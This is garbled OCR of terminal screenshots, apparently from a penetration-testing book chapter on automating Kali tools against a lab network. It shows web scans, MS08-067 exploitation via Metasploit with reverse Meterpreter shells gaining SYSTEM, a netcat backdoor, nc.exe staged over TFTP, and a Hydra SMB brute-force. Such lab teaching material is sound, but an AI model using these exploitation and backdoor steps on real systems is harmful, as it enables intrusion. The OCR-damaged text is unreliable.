os Host http:/i172.16.69.128:80 [200 OK] Apache[2.2.8], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.8 {Ubuntu) DAV/Z], IP[172.16.69.128], PHP[5.2 4-2ubuntu. 10],
@ 17216691 Title[Metasploitable 2 - Uinux], WebDAV[2], X-Powered-By[PHP/5.2.4- 2ubuntu5.10]

@ 172.1669.129

@ 1721669130

@ 1721660131

@ 172.1669.132

@ 1721669133

@ 1721669136

@ 172.1669.139

© 1721669.254

e Y
Log
Progress Tool Host Start time End time Status

I whatweb (B0/tcp) 172.16.69.128 03 Apr 2017 07:43:17 03 Apr 2017 07:43:21  Finished
DT dicbuster (80/tcp) 1721669128 03 Apr 2017 07:3216 Running
I dirbuster (80/tcp) 172.16.69.128 03 Apr 2017 07:28:47 03 Apr 2017 07:32:05  Finished
I b layer (B0/tcp) 172.16.69.128 03 Apr 2017 07:28:34 03 Apr 2017 07:28:34  Crashed
I screenshot (80/tcp) 172.16.69.128 03 Apr 2017 07:27:06 03 Apr 2017 07:27:06  Finished
I nikto (B0/tcp) 172.16.69.128 03 Apr 2017 07:27:04 03 Apr 2017 07:27:23  Finished
I e (80/tcp) 172.16.69.128 03 Apr 2017 07:26:44 03 Apr 2017 07:27:04  Finished

.
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Scan | Brute

Hosts  Services Tools wkto (8180tcp) (-1 screenshot (B180/tcp) (=1 nikto (80/cp) (=) screenshot (BOftcp) (=1 webslayer (80/tcp) (=1 dirbuster (80/tcp) (- whatweb (80/tcp) (=) webslayer (80itcp) &« »

os Host
@ 17216691

@ 17216.69.129
@ 1721669130
@ 1721660131
@ 17216.69.132
@ 1721669133
@ 1721669136
@ 1721668.139
© 172.1669.254
(%
Log

Progress Teol Host Start time End time Status -
I b layer (B0/tcp) 172.16.69.128 03 Apr 2017 07:43:57 03 Apr 2017 07:43:57  Crashed I
I whatweb (B0/tcp) 172.16.69.128 03 Apr 2017 07:4%:17 03 Apr 2017 07:43:21  Finished
I dirbuster (80/tcp) 172.16.69.128 03 Apr 2017 07:32:16 Running
I dirbuster (80/tcp) 172.16.69.128 03 Apr 2017 07:28:47 03 Apr 2017 07:32:05  Finished
I vebslayer (80/tcp) 172.16.69.128 03 Apr 2017 07:28:34 03 Apr 2017 07:28:34  Crashed
I screenshot (80/tcp) 03 Apr 2017 07:27:06 03 Apr 2017 07:27:06  Finished
I ikto (B0/tep) 172.16.69.128 03 Apr 2017 07:27:04 03 Apr 2017 07:27:23  Finished .
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Chapter 12: Automating Kali Tools

File Edit View Search Terminal Help

L er
Systems with port
172.16.69.128

:~# ./service_identifier.sh 22 netscan.txt
Systems with port 22 open:
172.16.69.128
172.16.69.132
172.16.69.133
~# . /service_ i sh 445 netscan.txt
s with port 445 op
.69.128
9
9
9

File Edit View Search Terminal Help

File Edit View Search Terminal Help
:~# ./smb_eval.sh netscan.txt

3 08:46 EOT

up) scanned in 13 onds

org ) at 28 64-83 08
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(MSB8-B67)

. Server 20
RPC requ

File Edit View 5earch Terminal Help
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i~# ./test_n_xploit.sh 172.16.69.129 172.16.69.133 4444

Starting Nmap 7.40 ( https://nmap.org ) at 2817-84-83 16:14 EDT
Nmap scan report for 172.16.69.129

Host is up (0.808838s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 80:0C:29:94:63:48 (VMware)

Host script results:

| smb-vuln-ms@8-867:

| VULNERABLE :

| Microsoft Windows system vulnerable to remote code execution (MS08-867)

| State: VULNERABLE

| IDs: CVE:CVE-2008-4258

| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 20803 SP1 and SPZ,
| Vista Gold and 5P1, Server 2868, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC reguest that triggers the overflow during path canonicalization.

|

|

|

|

|

Disclosure date: 2068-10-23

References:
https://technet.microsoft.com/en-us/Llibrary/security/ms@8-067.aspx
https://cve.mitre.org/cgi-bin/cvename . cgi?name=CVE- 2008 -4250

Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
172.16.69.129 appears to be vulnerable, exploiting with Metasploit...

s
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http://metasploit.com

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ met Tt vd ]
=[ 1635 exploits - 935 auxiliary - 285 post |

- [ 472 payloads - 48 encoders - 9 nops 1
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => 172.16.69.129

PAYLOAD => windows/meterpreter/reverse tcp

LHOST == 172.16.69.133

LPORT == 4444

[*] Started reverse TCP handler on 172.16.69.133:4444

[*] 172.16.69.120:445 - Automatically detecting the target..

[*] 172.16.69.120:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 172.16.69.129:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 172.16.69.120:445 - Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 172.16.69.129

[ Meterpreter session 1 opened {172.16.69.133:4444 -> 172.16.69.129:2082) at 2017-84-83 10:14:56

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > |




File Edit View 5Search Terminal Help

scans

File Edit View Search Terminal Help

Tdrqel Hostname :
Target Port: E:
Start Time -B4- 3:21 (GMT-4)

2.4-2ubuntu5.18
-Options he i
is not defined. an h1|11 to the gent to protect against some forms of
1d allow the user & to render the ntent of the site in a different fashion to the MIME

IR

ily brute force file names. See http: tou. php?id=

2.2.29 are also current.

function was found.

File Edit View Search Terminal Help

File Edit View Search Terminal Help

shion to the M
which allows a

found

tory is broy
11d3-A3A F sitiy rmation via certain HTTP requests that tain s

I T
R X -

a certain HTTP requests that contain s
e information via certain HTTP requests that contain s

information via tain HTTP regues that contain s

o+

or

from the php )
p\lplniu ph n crip ch runs pinfo() found. This es a lot of m informa
/: Directory i i

P N R IR

20,141

File Edit View Search Terminal Help

132.4xt 172.16
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# . /multipwn.sh

Usage: #./script <host file> <LHOST>

~# . /multipwn.sh iplist.txt 172.16.69.133
Exploiting 172.16.69.129 and establishing reverse connection on local port 4444
Exploiting 172.16.69.141 and establishing reverse connection on local port 4445
Exploiting 172.16.69.146 and establishing reverse connection on local port 4446

~#

Terminal Help

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

etasploit v4.14.5-dev 1
1635 exploits - 935 auxiliary - 285 post 1
472 payloads - 40 encoders - 9 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp |

[
[
[
[

RHOST => 172.16.69.140

PAYLOAD => windows/meterpreter/reverse tcp

LHOST => 172.16.69.133

LPORT => 4446

[ Started reverse TCP handler on 172.16.69.133:4446

[*] 172.16.69.140:445 - Automatically detecting the target...

[*] 172.16.69.140:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 172.16.69.140:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 172.16.69.140:445 - Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 172.16.69.140

[*] Meterpreter session 1 opened (172.16.69.133:4446 -> 172.16.69.140:1042) at 2017-04-05 18:50:48 -0460

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > i

ninal  Help

:~# atftpd --daemon --port 69 /tmp
:~# cp fusr/share/windows-binaries/nc.exe /tmp/nc.exe
~#

ew O Terminal Help
:~# ./multipwn.sh
Usage: #./script <host file=
:=# . /multipwn.sh iplist.txt
Exploiting 172.16.69.129 and creating backdoor on TCP port 4444
Exploiting 172.16.69.141 and creating backdeor on TCP port 4444
Exploiting l?i 16.69.140 and creating backdoor on TCP port 4444
-#
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:~# nc -nv 172.16.69.140 4444
(UNKNOWN) [172.16.69.140] 4444 (7) open
icrosoft Windows XP [Version 5.1.2600]
Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Michael Hixon>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . .. 172.16.69.140
Subnet Mask . . . . . . . . . . . : 255,255.255.0
Default Gateway . :

Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected

ocuments and Settings\Michael Hixon>fi

File Edit View Search Terminal Help
:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening

File Edit View Search Terminal Help
:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
172.16.69.140 is exploitable
172.16.69.141 is exploitable
172.16.69.129 is exploitable

.16.69.129 and ding us
.16.69,.141 and adding use
.16.69,140 and i

File Edit View Search Terminal Help
:~# hydra - X -t 1172.10.69.129 smb
Hydra v8.3 2016 f i - Please do not u in military or ret service organizations, or for ill

Hydra (http:/ 5 2
[DATA] m s g g . 4 tasks, 1 login try (l:1/p:1), ~B tries per task
[DATA] at

[445] [smb] : 172.16.69.129 login: hixon
1 of 1 tar ully completed, 1 valid pa
Hydra (http thc.org/thc-hydra) finished at
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